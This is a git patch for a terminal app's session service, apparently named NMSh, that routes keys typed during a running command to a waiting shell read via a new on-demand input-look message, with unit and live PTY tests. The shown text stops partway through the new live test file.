From d9676fa8ad504cd78f3a4a87fc76ec7777256743 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Thu, 15 Oct 2026 21:22:26 +0530 Subject: [PATCH 01/16] Input ownership: a waiting read gets its answer, however soon it is typed Physical QA found replies to `read reply`, `read -k 1` and `read -n 1` queued or left in the composer, and hidden replies typed quickly lost. On macOS the only evidence of a line or key read was a question-shaped prompt left open, so reads without a prompt were never seen; and a key typed before the first look (or after the schedule backed off) was routed on no evidence at all. - InputWatch: the shell itself holding its terminal while a command runs is a builtin's read. Line input off there is a confirmed key read; ordinary line settings idle across two samples (the second 100 ms later) are a likely line read. A loop's shell between commands is not. - lookNow and the negotiated input-look/input-looked messages: the frontend holds the first key of a draft, and an Enter that would queue, until the session has looked (at most 800 ms, after the shell's exec), then routes them on that evidence. Older services are never asked. - Held keys reach a program that took the terminal meanwhile (Fish's reader) in order, and a draft typed for the command is handed to that reader. - An answer sent clears the frontend's copy of the request, so the next command typed at speed is never sent to a program that stopped reading. - Typing right after Ctrl+C/Ctrl+Z stays type-ahead for the prompt. Real-PTY tests through the session service cover zsh, Bash and Fish line, hidden and key reads at 0 and 300 ms, Ctrl+Q while a read waits, Enter during sleep and a loop, and commands typed right after a read and Ctrl+C. --- src/app/TerminalApp.ts | 97 +++++++++++++++- src/session/InProcessSessionClient.ts | 8 +- src/session/InputWatch.ts | 62 ++++++++-- src/session/SessionClient.ts | 5 + src/session/SessionProtocol.ts | 13 ++- src/session/SessionService.ts | 8 ++ src/session/SocketSessionClient.ts | 11 ++ tests/inputAwareness.test.ts | 90 ++++++++++++++- tests/inputOwnershipLive.test.ts | 159 ++++++++++++++++++++++++++ 9 files changed, 439 insertions(+), 14 deletions(-) create mode 100644 tests/inputOwnershipLive.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 41e8974f..3d76de04 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -369,6 +369,8 @@ const SUCCESS = lazyForeground(UI_COLORS.success); const ERROR = lazyForeground(UI_COLORS.failure); /** How long after Ctrl+C or Ctrl+Z typing is taken as type-ahead for the shell prompt rather than queued. */ const STOP_TYPE_AHEAD_MS = 2000; +/** Longest a key waits for an on-demand look at the running command's input state before it is routed anyway. */ +const OWNERSHIP_LOOK_MS = 800; const clipboardFailure = (error: unknown): string => error instanceof ClipboardUnavailableError ? error.message : 'Clipboard copy failed'; /** Keys that edit or submit the composer; in Flow they bring a scrolled-back view back to it. */ const FLOW_EDIT_KEYS: ReadonlySet = new Set(['text', 'paste', 'backspace', 'delete', 'deleteWord', @@ -769,6 +771,12 @@ export class TerminalApp { * are type-ahead for the shell and stay in the composer. */ private runningDraft?: {startId: number; at: number; answering: boolean}; + /** + * Keys held while the session looks whether the running command waits for input: the first key of a draft (a + * hidden reply is never drawn) and an Enter that would queue (a reply never becomes a queued command). + */ + private ownershipLook?: {keys: Key[]; startId: number; answering: boolean; release: () => void}; + private replayingHeld = false; /** The previous command's phrase pair, so two commands in a row never get the same one. */ private lastActivityPair?: ActivityVerbPair; /** This session's command queue as its owner (the session service or in-process client) last reported it. */ @@ -1256,6 +1264,8 @@ export class TerminalApp { this.logEditorKeyInput(data); } if (this.passthrough && !this.startupPending) { + // Keys held for an ownership look were typed first: they reach the program first. + this.ownershipLook?.release(); this.session.write(data); return; } @@ -2040,6 +2050,14 @@ export class TerminalApp { this.historyViewport.latest(); return; } + if (this.ownershipLook) { + // Ctrl+C is never held: what was typed is routed on what is known now, then the interrupt goes. + if (key.kind !== 'interrupt') { this.ownershipLook.keys.push(key); return; } + this.ownershipLook.release(); + } else if (this.needsOwnershipLook(key)) { + this.holdForOwnershipLook(key); + return; + } // A program reading a hidden line or single keys gets each key as it is typed, as in any terminal: the // composer neither shows nor keeps it, and Enter is a key for the program, never a shell submission. // Ctrl+Q while a program reads keys directly: the composer takes the next command for the queue; the program @@ -9799,6 +9817,7 @@ export class TerminalApp { this.editor.clear(); this.runningDraft = undefined; this.session.write(`${text}\r`); + this.answerSent(); return; } if (!text.trim()) return; @@ -9859,12 +9878,17 @@ export class TerminalApp { // A state for a finished run (a late message) never resurrects it. if (!this.running) return; this.inputState = state; + const draft = this.runningDraft; if (state.terminalOwner) { + // A native reader took the terminal: what was typed for this command after it started is its input, as a + // terminal would have delivered it. + const typed = draft && draft.startId === this.running.startId && !this.queueCompose && !this.queueEdit ? this.editor.text : ''; this.onActiveModeChange('PASSTHROUGH'); + if (typed && this.passthrough) { this.editor.clear(); this.runningDraft = undefined; this.session.write(typed); } + this.ownershipLook?.release(); return; } const request = state.request; - const draft = this.runningDraft; // Keys typed after the program wrote its question, in the moment before NMSh could tell how it reads, were // meant for it: a terminal would already have delivered them. Hand them over now instead of hiding them. if (request && directInput(request) && draft && draft.startId === this.running.startId && draft.at >= request.since && this.editor.text) { @@ -9873,9 +9897,64 @@ export class TerminalApp { this.runningDraft = undefined; this.session.write(typed); } else if (request && draft && draft.at >= request.since && this.editor.text) draft.answering = true; + // The evidence a held key waited for has arrived. + if (request) this.ownershipLook?.release(); this.render(); } + /** + * Whether this key decides where typing goes while a command runs and NMSh has no evidence yet that the command + * waits for input: the first key of a draft, or an Enter that would otherwise queue. + */ + private needsOwnershipLook(key: Key): boolean { + // Right after Ctrl+C or Ctrl+Z, typing is type-ahead for the prompt the stop brings back. + if (this.replayingHeld || !this.running || this.passthrough || this.startupPending || this.queueCompose || this.queueEdit || this.justStopped()) return false; + if (this.inputState?.request || this.inputState?.terminalOwner || !this.session.lookInput || !this.session.features.has('input-look')) return false; + if ((key.kind === 'text' || key.kind === 'paste') && !this.editor.text) return true; + const text = this.editor.text; + return key.kind === 'enter' && Boolean(text.trim()) && !isSlashInput(text) && this.queueAvailable() && !this.answersByDefault(); + } + + /** Hold the key (and any typed after it) until the session has looked, then route them on that evidence. */ + private holdForOwnershipLook(key: Key): void { + const running = this.running!; + const keys = [key]; + let released = false; + const release = () => { + if (released) return; + released = true; + clearTimeout(timer); + if (this.ownershipLook?.keys === keys) this.ownershipLook = undefined; + // The command ended while NMSh looked. A reply to its open question is discarded, never run; anything else + // is what it would have been without the look: typing for the next command, Enter running it after. + const ended = this.running?.startId !== running.startId; + const typing = (item: Key) => item.kind === 'text' || item.kind === 'paste' || item.kind === 'enter'; + if (ended && hold.answering && keys.some(typing)) { + this.output.addFrontendInteraction(commandWords(running.command)[0] ?? 'command', 'The command finished before your reply was sent; the reply was discarded, not run.', INFO); + } + // The program took the terminal meanwhile (a native reader, a full-screen program): the keys are its own, in order. + if (!ended && this.passthrough) { + for (const item of keys) { const bytes = directKeyBytes(item); if (bytes) this.session.write(bytes); } + return; + } + const replay = ended && hold.answering ? keys.filter(item => !typing(item)) : keys; + this.replayingHeld = true; + try { for (const item of replay) this.handleKey(item); } finally { this.replayingHeld = false; } + this.render(); + }; + const timer = setTimeout(release, OWNERSHIP_LOOK_MS); + timer.unref?.(); + const hold = {keys, startId: running.startId, answering: this.answersByDefault(), release}; + this.ownershipLook = hold; + void this.lookWhenStarted(running.startId, Date.now() + OWNERSHIP_LOOK_MS).then(release, release); + } + + /** Look once the shell has started the command (keys typed right after Enter arrive before its exec). */ + private async lookWhenStarted(startId: number, deadline: number): Promise { + while (this.running?.startId === startId && this.running.awaitingExec && Date.now() < deadline) await new Promise(done => setTimeout(done, 15)); + if (this.running?.startId === startId && !this.running.awaitingExec) await this.session.lookInput?.(); + } + /** Forward one key to the waiting program as the bytes a terminal sends; nothing is kept, shown or logged. */ private sendDirectKey(key: Key): void { if (key.kind === 'interrupt') { @@ -9885,7 +9964,21 @@ export class TerminalApp { } if (key.kind === 'eof') { this.session.endInput(); return; } const bytes = directKeyBytes(key); - if (bytes) this.session.write(bytes); + if (!bytes) return; + const mode = this.inputState?.request?.mode; + this.session.write(bytes); + // One key answers a key read; Enter ends a hidden line (as the session's watch also decides). + if (mode === 'key' || /[\r\n]/u.test(bytes)) this.answerSent(); + } + + /** + * An answer just went to the waiting program. Until the session reports again, the question counts as answered: + * keys typed next (the next command, at typing speed) are routed on fresh evidence, never on the question that was + * just answered, so they never reach a program that stopped reading or a shell prompt NMSh does not draw. + */ + private answerSent(): void { + if (this.inputState?.request) this.inputState = {timing: this.inputState.timing}; + this.commandLine.reset(); } /** This command's phrase pair under Expressive wording: chosen once from the command and its start, so it never changes while it runs. */ diff --git a/src/session/InProcessSessionClient.ts b/src/session/InProcessSessionClient.ts index a06f274d..266cc6d1 100644 --- a/src/session/InProcessSessionClient.ts +++ b/src/session/InProcessSessionClient.ts @@ -9,7 +9,7 @@ import type {QueueOp} from './CommandQueue.js'; import {SESSION_ID_ENV, SESSION_MODE_ENV, type SessionClient, type SessionClientEvents, type SessionOptions} from './SessionClient.js'; type ShellLike = Pick - & Partial>; + & Partial>; const NO_STAMP = {}; /** SessionClient backed by a ShellSession living in this process. */ @@ -66,6 +66,12 @@ export class InProcessSessionClient extends EventEmitter im } interrupt(): void { this.dispatcher.onInterrupt(); this.shell.interrupt(); } queue(change: QueueOp): void { this.dispatcher.request(change); } + async lookInput(): Promise { + const watch = this.shell.inputWatch; + if (!watch) return false; + await watch.lookNow(); + return true; + } private queueShell(): QueueShell { const client = this; diff --git a/src/session/InputWatch.ts b/src/session/InputWatch.ts index ef060a26..b3d64110 100644 --- a/src/session/InputWatch.ts +++ b/src/session/InputWatch.ts @@ -17,6 +17,10 @@ import {type InputMode, type InputRequest, type InputState} from './inputState.j * 3. Ordinary line input: a question-shaped line left open, output quiet, the foreground group idle across two * samples (no CPU, nothing running) → likely. A long build, `sleep`, a stalled download or a log stream does * not leave a question open, rewrites its line, or is busy. + * 4. The shell itself holds the terminal while its command runs: a builtin has it (`read`, `select`). With line + * input off (`read -k 1`, `read -n 1`) it reads keys → confirmed key input; with ordinary line settings and the + * shell idle across two samples → likely line input, prompt or not. Without the kernel's report (macOS) a `wait` + * builtin looks the same; Linux's report tells them apart. * A program that owns the terminal (full screen, or input modes such as bracketed paste) draws and reads its own * interface; it is never reported as waiting. The kernel saying the group is blocked elsewhere vetoes 2 and 3. * @@ -53,6 +57,8 @@ const CLOSED_LINE_INTERVAL_MS = 2000; const LIKELY_QUIET_MS = 700; /** CPU share across two samples above which a foreground process is computing, not waiting. */ const BUSY_SHARE = 0.25; +/** The second sample when the first saw the shell holding the terminal: soon, so a prompt-less `read` is seen in time. */ +const FOLLOW_UP_MS = 100; const defaultTimer = (callback: () => void, ms: number) => { const timer = setTimeout(callback, ms); @@ -87,8 +93,10 @@ export class InputWatch extends EventEmitter { /** Bumped by every stream event; a probe that started before the latest event is stale. */ private generation = 0; private looks = 0; + /** The last sample saw the shell holding the terminal with ordinary line settings; a second sample decides. */ + private followUp = false; private cancelTimer?: () => void; - private probing = false; + private probing?: Promise; private lastProbeAt = -Infinity; private previous = new Map(); private disposed = false; @@ -166,6 +174,22 @@ export class InputWatch extends EventEmitter { this.emit('change', this.state); } + /** + * Look at once, outside the schedule: a key is about to be routed and must not be routed on old or missing + * evidence (the schedule backs off to one look every few seconds). Resolves once a fresh sample was applied, or + * at once when nothing runs. When the first sample saw the shell holding the terminal, a second one decides. + */ + async lookNow(): Promise { + for (let sample = 0; sample < 2; sample += 1) { + while (this.probing) await this.probing; + if (this.disposed || !this.running || !this.options.probe) return; + this.followUp = false; + await this.look(true); + if (!this.followUp || this.request) return; + await new Promise(done => { this.setTimer(done, FOLLOW_UP_MS); }); + } + } + dispose(): void { this.disposed = true; this.cancelTimer?.(); @@ -190,6 +214,7 @@ export class InputWatch extends EventEmitter { this.lastActivity = at; this.generation += 1; this.looks = 0; + this.followUp = false; this.schedule(); } @@ -200,25 +225,28 @@ export class InputWatch extends EventEmitter { const quiet = this.now() - this.lastActivity; const planned = this.looks === 0 ? (this.line.open ? FIRST_LOOK_OPEN_MS : FIRST_LOOK_MS) : LOOKS_MS[this.looks - 1] ?? (quiet > SLOW_LOOK_AFTER_MS ? SLOW_LOOK_MS : STEADY_LOOK_MS); - const delay = this.line.open ? planned : Math.max(planned, this.lastProbeAt + CLOSED_LINE_INTERVAL_MS - this.now()); + const delay = this.followUp ? FOLLOW_UP_MS : this.line.open ? planned : Math.max(planned, this.lastProbeAt + CLOSED_LINE_INTERVAL_MS - this.now()); this.cancelTimer = this.setTimer(() => { this.cancelTimer = undefined; void this.look(); }, delay); } - private async look(): Promise { + /** One sample; onDemand looks (lookNow) leave the schedule's back-off where it was. */ + private async look(onDemand = false): Promise { if (this.disposed || !this.running || this.probing) return; - this.looks += 1; + if (!onDemand) this.looks += 1; if (this.ownsTerminal) { if (this.request) this.closeWait(this.now(), true); this.schedule(); return; } const tty = this.options.tty?.(); - if (!tty || !this.options.probe) return; + const probe = this.options.probe; + if (!tty || !probe) return; const generation = this.generation; - this.probing = true; this.lastProbeAt = this.now(); let sample: TerminalSample | undefined; - try { sample = await this.options.probe({tty}); } catch { sample = undefined; } finally { this.probing = false; } + const probing = (async () => { try { sample = await probe({tty}); } catch { sample = undefined; } })(); + this.probing = probing; + try { await probing; } finally { this.probing = undefined; } if (this.disposed || !this.running) return; if (generation === this.generation && sample) this.apply(sample, this.now()); this.schedule(); @@ -228,6 +256,7 @@ export class InputWatch extends EventEmitter { apply(sample: TerminalSample, now: number): void { if (!this.running || this.ownsTerminal) return; const busy = this.busy(sample.foreground, now); + this.followUp = false; const next = this.decide(sample, busy, now); const current = this.request; if (!next) { @@ -260,9 +289,17 @@ export class InputWatch extends EventEmitter { // The kernel says every foreground thread is blocked on something other than the terminal. if (sample.readingTerminal === false || busy === true) return undefined; if (modes && modes.canonical && !modes.echo) return {confidence: 'confirmed', mode: 'hidden'}; - if (modes && !modes.canonical) return this.line.open ? {confidence: 'confirmed', mode: 'key'} : undefined; + const shellHolds = shellHoldsTerminal(sample.foreground); + if (modes && !modes.canonical) return this.line.open || shellHolds ? {confidence: 'confirmed', mode: 'key'} : undefined; // Ordinary line input: only a question left open, quiet output, and an idle group seen across two samples. if (busy === false && this.line.open && promptShaped(this.line.line) && now - this.lastOutput >= LIKELY_QUIET_MS) return {confidence: 'likely', mode: 'line'}; + // The shell's own builtin holds the terminal with ordinary line settings (`read reply`, no prompt needed): idle + // across two samples is a line read. One sample is not enough: a loop's shell holds it for a moment between + // commands. + if (shellHolds && modes) { + if (busy === false) return {confidence: 'likely', mode: 'line'}; + if (busy === undefined) this.followUp = true; + } return undefined; } @@ -286,3 +323,12 @@ export class InputWatch extends EventEmitter { this.previous = new Map(foreground.flatMap(item => item.cpuMs === undefined ? [] : [[item.pid, {cpuMs: item.cpuMs, at: now}] as const])); } } + +/** + * The shell itself is the terminal's foreground group: it is the session leader of its own terminal (ps state `s`), + * and a command it runs as a job takes the foreground in its own group. So while a command runs, the shell holding + * the terminal means a builtin of the shell has it. + */ +export function shellHoldsTerminal(foreground: ForegroundProcess[]): boolean { + return foreground.some(item => item.state.includes('s')); +} diff --git a/src/session/SessionClient.ts b/src/session/SessionClient.ts index 04db71cd..a0de754c 100644 --- a/src/session/SessionClient.ts +++ b/src/session/SessionClient.ts @@ -77,6 +77,11 @@ export interface SessionClient extends EventEmitter { switchShell(shell: ShellId, cwd: string): Promise<{shell: ShellId; pid: number}>; /** Change this session's command queue (only when `features` has 'queue'). */ queue(change: QueueOp): void; + /** + * Look at the running command's input state now; resolves true once the look is done (any change it found has + * already been emitted as inputState), false when whatever owns the shell cannot look on demand. + */ + lookInput?(): Promise; /** Optional capabilities of whatever owns the shell (the service's welcome, or this build in-process). */ readonly features: ReadonlySet; /** Build of the session service, when it reported one. */ diff --git a/src/session/SessionProtocol.ts b/src/session/SessionProtocol.ts index d539073b..08da3096 100644 --- a/src/session/SessionProtocol.ts +++ b/src/session/SessionProtocol.ts @@ -24,7 +24,7 @@ export const MAX_FRAME_BYTES = 8 * 1024 * 1024; * talking to an older service (same protocol version, still running its live * sessions) degrades factually instead of failing later. */ -export const SERVICE_FEATURES = ['shell-switch', 'shell-backends', 'notices', 'input-state', 'queue', 'queue-conditions'] as const; +export const SERVICE_FEATURES = ['shell-switch', 'shell-backends', 'notices', 'input-state', 'queue', 'queue-conditions', 'input-look'] as const; export type ServiceFeature = typeof SERVICE_FEATURES[number]; /** @@ -32,7 +32,7 @@ export type ServiceFeature = typeof SERVICE_FEATURES[number]; * values (the input-state message, the "input" notice kind) only to a frontend that listed it, so an older frontend * attached to a newer service never receives a frame it would reject. */ -export const CLIENT_FEATURES = ['input-state', 'queue'] as const; +export const CLIENT_FEATURES = ['input-state', 'queue', 'input-look'] as const; export type ClientFeature = typeof CLIENT_FEATURES[number]; export function parseClientFeatures(text: string | undefined): Set { @@ -66,6 +66,11 @@ export type ClientMessage = | {type: 'rename'; sessionId: string; name: string} /** One change to this session's command queue (QueueOp as JSON); only from frontends that listed 'queue'. */ | {type: 'queue'; change: string} + /** + * Look at the running command's input state now (a key is about to be routed); answered by input-looked with the + * same id, after any input-state the look produced. Only to services that advertised 'input-look'. + */ + | {type: 'input-look'; id: number} | {type: 'terminate'}; export type ServerMessage = @@ -105,6 +110,8 @@ export type ServerMessage = */ /** The session's command queue (QueueState as JSON) and what just happened to it. */ | {type: 'queue-state'; state: string; dispatched?: number; refused?: string; dropped?: number} + /** The look asked for by input-look id is done; only to frontends that listed 'input-look'. */ + | {type: 'input-looked'; id: number} | {type: 'input-state'; terminalOwner?: number; since?: number; confidence?: string; mode?: string; prompt?: string; program?: string; waitedMs: number; waits: number} /** End of the backlog sent after attach. */ | {type: 'replayed'; truncatedBytes: number} @@ -187,6 +194,8 @@ const SHAPES: Record = { kill: {sessionId: 'string'}, dismiss: {sessionId: 'string'}, queue: {change: 'string'}, + 'input-look': {id: 'int'}, + 'input-looked': {id: 'int'}, 'queue-state': {state: 'string', dispatched: 'int?', refused: 'string?', dropped: 'int?'}, terminate: {}, welcome: {version: 'int', service: 'string', startupSafety: 'int?', features: 'string?', build: 'string?'}, diff --git a/src/session/SessionService.ts b/src/session/SessionService.ts index be4f5e5a..9bb0f873 100644 --- a/src/session/SessionService.ts +++ b/src/session/SessionService.ts @@ -284,6 +284,14 @@ export class SessionService { else owned.queue.request(change); break; } + case 'input-look': { + const session = owned; + if (!session || !features.has('input-look')) { send({type: 'error', code: 'state', message: 'no session input to look at'}); break; } + const {id} = message; + // Any input-state the look produces is sent first (synchronously, as the watch emits it). + void session.shell.inputWatch.lookNow().then(() => { if (owned === session) send({type: 'input-looked', id}); }); + break; + } case 'input': // Ctrl+C reaching a running command: what was queued after it waits (see QueueDispatcher). if (message.data.includes('\u0003')) owned?.queue.onInterrupt(); diff --git a/src/session/SocketSessionClient.ts b/src/session/SocketSessionClient.ts index d830502a..7de14fb7 100644 --- a/src/session/SocketSessionClient.ts +++ b/src/session/SocketSessionClient.ts @@ -218,6 +218,8 @@ export class SocketSessionClient extends EventEmitter imple features: ReadonlySet = new Set(); serviceBuild?: string; private pendingSwitch?: {resolve: (value: {shell: ShellId; pid: number}) => void; reject: (error: Error) => void}; + private looks = new Map void>(); + private nextLook = 1; switchShell(shell: ShellId, cwd: string): Promise<{shell: ShellId; pid: number}> { // Never send a message the service did not advertise. @@ -242,6 +244,7 @@ export class SocketSessionClient extends EventEmitter imple ...(message.knowledge === undefined ? {} : {knowledge: message.knowledge}), ...(message.inputWaits ? {inputWaitMs: message.inputWaitMs ?? 0, inputWaits: message.inputWaits} : {})}, {seq: message.seq, at: message.at}); else if (message.type === 'input-state') this.emit('inputState', inputStateFrom(message)); + else if (message.type === 'input-looked') { this.looks.get(message.id)?.(true); this.looks.delete(message.id); } else if (message.type === 'queue-state') { const state = queueStateFrom(message.state); if (state) this.emit('queueState', state, {...(message.dispatched === undefined ? {} : {dispatched: message.dispatched}), @@ -262,6 +265,8 @@ export class SocketSessionClient extends EventEmitter imple this.exited = true; this.pendingSwitch?.reject(new Error('The session ended.')); this.pendingSwitch = undefined; + for (const done of this.looks.values()) done(false); + this.looks.clear(); this.emit('exit', {exitCode, ...(signal === undefined ? {} : {signal}), ...(lost ? {lost} : {})}); } @@ -273,6 +278,12 @@ export class SocketSessionClient extends EventEmitter imple submit(command: string): void { this.send({type: 'input', data: `${command}\r`, submission: 1}); } write(data: string): void { this.send({type: 'input', data}); } queue(change: QueueOp): void { if (this.features.has('queue')) this.send({type: 'queue', change: JSON.stringify(change)}); } + lookInput(): Promise { + // Never send a message the service did not advertise. + if (!this.features.has('input-look') || this.exited || this.socket.destroyed) return Promise.resolve(false); + const id = this.nextLook++; + return new Promise(resolve => { this.looks.set(id, resolve); this.send({type: 'input-look', id}); }); + } interrupt(): void { this.send({type: 'input', data: '\u0003'}); } endInput(): void { this.send({type: 'input', data: '\u0004'}); } resize(columns: number, rows: number): void { this.send({type: 'resize', columns: Math.max(2, columns), rows: Math.max(2, rows)}); } diff --git a/tests/inputAwareness.test.ts b/tests/inputAwareness.test.ts index 5ae4ad5d..7874da05 100644 --- a/tests/inputAwareness.test.ts +++ b/tests/inputAwareness.test.ts @@ -4,7 +4,7 @@ import {OpenLine, promptShaped, promptText} from '../src/session/openLine.js'; import {parseCpuTime, parseForeground, parseStty, parseSyscall, type TerminalSample} from '../src/session/terminalProbe.js'; import {InputWatch} from '../src/session/InputWatch.js'; import {directInput, waitedSoFar, type InputState} from '../src/session/inputState.js'; -import {decodeMessage, encodeMessage, inputStateFrom, inputStateMessage, parseClientFeatures, type SessionInfo} from '../src/session/SessionProtocol.js'; +import {decodeMessage, encodeMessage, inputStateFrom, inputStateMessage, parseClientFeatures, parseFeatures, type SessionInfo} from '../src/session/SessionProtocol.js'; import {describeNotice, noticeVisibleMs, SessionNoticeTracker} from '../src/session/SessionNotices.js'; import {liveStatusParts} from '../src/session/liveStatus.js'; import {LIVE_ROW_LABELS, liveRowState} from '../src/sessions/ResumeBrowser.js'; @@ -202,6 +202,84 @@ test('watch: ordinary line input is only "likely", and only after the group is s assert.equal(h.watch.state.request, undefined); }); +/** The shell itself in the terminal's foreground group: the session leader (ps state `s`) runs a builtin. */ +const shellFg = (state = 'Ss+', cpuMs = 10) => [{pid: 4000, state, cpuMs, command: 'zsh'}]; + +test('watch: the shell holding the terminal with line input off (read -k 1, read -n 1, no prompt) reads keys: confirmed at once', async () => { + const h = harness('read -k 1 x; echo got:$x'); + h.set({modes: keyModes, foreground: shellFg()}); + await h.advance(450); + assert.equal(h.watch.state.request?.confidence, 'confirmed'); + assert.equal(h.watch.state.request?.mode, 'key'); + assert.equal(directInput(h.watch.state.request), true); + // The same line settings with another program in the foreground and no prompt stay what they were: not a request. + const other = harness('docker run -it image'); + other.set({modes: keyModes, foreground: fg('S+', 100, 'docker')}); + await other.advance(30_000); + assert.equal(other.watch.state.request, undefined); +}); + +test('watch: the shell holding the terminal with line input (read -r reply, no prompt) is likely after two idle samples, the second soon after', async () => { + const h = harness("read -r QA_REPLY; printf 'ANSWER=%s\\n' \"$QA_REPLY\""); + h.set({modes: lineModes, foreground: shellFg()}); + await h.advance(450); + assert.equal(h.watch.state.request, undefined, 'one sample cannot tell a read from a loop between commands'); + await h.advance(120); + assert.equal(h.watch.state.request?.confidence, 'likely'); + assert.equal(h.watch.state.request?.mode, 'line'); + assert.equal(directInput(h.watch.state.request), false, 'a line read keeps the composer\'s editor; Enter sends it'); + h.watch.onInput('hello\r', h.at()); + assert.equal(h.watch.state.request, undefined, 'the answer ends the wait'); +}); + +test('watch: a loop\'s shell between commands, or a shell computing, is not a request', async () => { + // The follow-up sample sees the loop's next command in the foreground. + const loop = harness('for i in 1 2 3; do sleep 1; done'); + loop.set({modes: lineModes, foreground: shellFg()}); + await loop.advance(450); + loop.set({modes: lineModes, foreground: fg('S+', 1, 'sleep')}); + await loop.advance(30_000); + assert.equal(loop.watch.state.request, undefined); + assert.ok(loop.changes.every(state => !state.request), 'never reported, not even for a moment'); + // A builtin loop computing in the shell: on a CPU, or using it across samples. + const busy = harness('while :; do :; done'); + let cpu = 10; + for (let index = 0; index < 20; index++) { + cpu += 400; + busy.set({modes: lineModes, foreground: shellFg(index % 2 ? 'Rs+' : 'Ss+', cpu)}); + await busy.advance(500); + } + assert.equal(busy.watch.state.request, undefined); +}); + +test('watch: lookNow samples at once, outside the backed-off schedule; nothing running means nothing to look at', async () => { + const h = harness('sleep 70; read -k 1 x'); + h.set({modes: lineModes, foreground: fg('S+', 1, 'sleep')}); + // Long quiet: the schedule has backed off to one look every ten seconds. + await h.advance(90_000); + h.set({modes: keyModes, foreground: shellFg()}); + let probes = 0; + const looked = h.watch.lookNow().then(() => { probes += 1; }); + for (let index = 0; index < 5; index++) await Promise.resolve(); + await looked; + assert.equal(probes, 1); + assert.equal(h.watch.state.request?.mode, 'key', 'seen at once, not at the next scheduled look'); + // A line read needs its second sample: lookNow takes it after the short follow-up. + const line = harness('sleep 70; read reply'); + line.set({modes: lineModes, foreground: fg('S+', 1, 'sleep')}); + await line.advance(90_000); + line.set({modes: lineModes, foreground: shellFg()}); + const second = line.watch.lookNow(); + for (let index = 0; index < 5; index++) await Promise.resolve(); + await line.advance(100); + await second; + assert.equal(line.watch.state.request?.confidence, 'likely'); + // At the prompt there is no command: lookNow returns without a sample. + line.watch.onPrompt(line.at()); + await line.watch.lookNow(); + assert.equal(line.watch.state.request, undefined); +}); + test('watch: no false positives for builds, sleep, network waits, progress bars, statuses or log streams', async () => { // A build that printed a colon-ended status and is computing. const build = harness('make'); @@ -363,6 +441,16 @@ test('protocol: input-state round-trips; unknown values are dropped, never guess assert.ok(hello.ok && hello.message.type === 'hello'); assert.deepEqual([...parseClientFeatures((hello.message as {features?: string}).features)], ['input-state']); assert.deepEqual([...parseClientFeatures(undefined)], [], 'an older frontend says nothing and gets nothing new'); + // On-demand looks: a numbered request and its answer; only between peers that both listed 'input-look'. + for (const message of [{type: 'input-look', id: 7}, {type: 'input-looked', id: 7}] as const) { + const look = decodeMessage(encodeMessage(message).trimEnd()); + assert.ok(look.ok); + assert.deepEqual(look.message, message); + } + assert.equal(decodeMessage(encodeMessage({type: 'input-look', id: 'x'} as never).trimEnd()).ok, false); + assert.deepEqual([...parseClientFeatures('input-state,input-look')], ['input-state', 'input-look']); + assert.ok(parseFeatures('queue,input-look').has('input-look')); + assert.equal(parseFeatures('queue').has('input-look'), false, 'an older service is never asked to look'); const prompt = decodeMessage(encodeMessage({type: 'prompt', exitCode: 0, cwd: '/', seq: 1, at: 2, inputWaitMs: 18000, inputWaits: 2}).trimEnd()); assert.ok(prompt.ok && prompt.message.type === 'prompt' && (prompt.message as {inputWaitMs?: number}).inputWaitMs === 18000); }); diff --git a/tests/inputOwnershipLive.test.ts b/tests/inputOwnershipLive.test.ts new file mode 100644 index 00000000..7bb6c46f --- /dev/null +++ b/tests/inputOwnershipLive.test.ts @@ -0,0 +1,159 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {spawnSync} from 'node:child_process'; +import {existsSync} from 'node:fs'; +import {join} from 'node:path'; +import {LiveSandbox, strip, until, type Frontend} from './helpers/liveFrontend.js'; + +/** + * Who owns typing while a command runs, through the real composer, PTY and session service, typed at human speed + * and at no delay at all. A program waiting for input gets the answer; nothing typed for it is queued, run as a + * shell command, or drawn when hidden. Reads without a prompt (`read -r reply`, `read -k 1`) are found from the + * shell holding its own terminal; a key typed before any evidence exists waits for an on-demand look. + */ +const bash = ['/opt/homebrew/bin/bash', '/usr/local/bin/bash', '/usr/bin/bash', '/bin/bash'] + .find(path => existsSync(path) && /version (?:4\.[4-9]|[5-9]\.)/u.test(spawnSync(path, ['--version'], {encoding: 'utf8'}).stdout ?? '')); +const fish = ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish'].find(existsSync); +const supported = process.platform === 'darwin' || process.platform === 'linux'; +const pause = (ms: number) => new Promise(done => setTimeout(done, ms)); +const SECRET = 'QSECRETQ'; + +type Shell = 'zsh' | 'bash' | 'fish'; + +async function start(shell: Shell) { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: shell}, + shell === 'bash' && bash ? {PATH: `${bash.replace(/\/bash$/u, '')}:${process.env.PATH}`} : {}); + const frontend = sandbox.launch([], {cols: 120, rows: 36}); + // Answer the terminal queries Fish's reader waits for, as a real terminal does. + frontend.pty.onData(data => { + if (data.includes('\u001b[c') || data.includes('\u001b[0c')) frontend.pty.write('\u001b[?62;22c'); + if (data.includes('\u001b[6n')) frontend.pty.write('\u001b[1;1R'); + }); + try { + await frontend.waitFor(/zsh|bash|fish/u); + await until(async () => (await sandbox.sessions()).some(session => session.lastExit !== undefined), 30_000, 'the first authenticated shell prompt'); + await frontend.run('echo READY', /READY/u); + return {sandbox, frontend}; + } catch (error) { + try { await sandbox.dispose(); } catch (cleanup) { throw new AggregateError([error, cleanup], 'input ownership fixture startup and cleanup failed'); } + throw error; + } +} + +/** Type like a person: one key at a time. */ +async function type(frontend: Frontend, text: string, gapMs = 60): Promise { + for (const char of text) { frontend.pty.write(char); await pause(gapMs); } +} + +const records = async (sandbox: LiveSandbox) => (await sandbox.transcripts().list()).flatMap(session => session.transcript.records); +const queued = async (sandbox: LiveSandbox) => (await sandbox.sessions())[0]?.queued ?? 0; + +interface Read { name: string; command: string; keys: string; enter: boolean; answered: RegExp; secret?: boolean } + +const READS: Record = { + zsh: [ + {name: 'line without a prompt', command: `read -r QA_REPLY; printf 'ANSWER=%s\\n' "$QA_REPLY"`, keys: 'hello', enter: true, answered: /ANSWER=hello/u}, + {name: 'hidden line', command: "read -s 'reply?Demo password: '; print; print len=${#reply}", keys: SECRET, enter: true, answered: /len=8/u, secret: true}, + {name: 'single key without a prompt', command: 'read -k 1 x; echo; echo got:$x', keys: 'y', enter: false, answered: /got:y/u}, + ], + bash: [ + {name: 'line without a 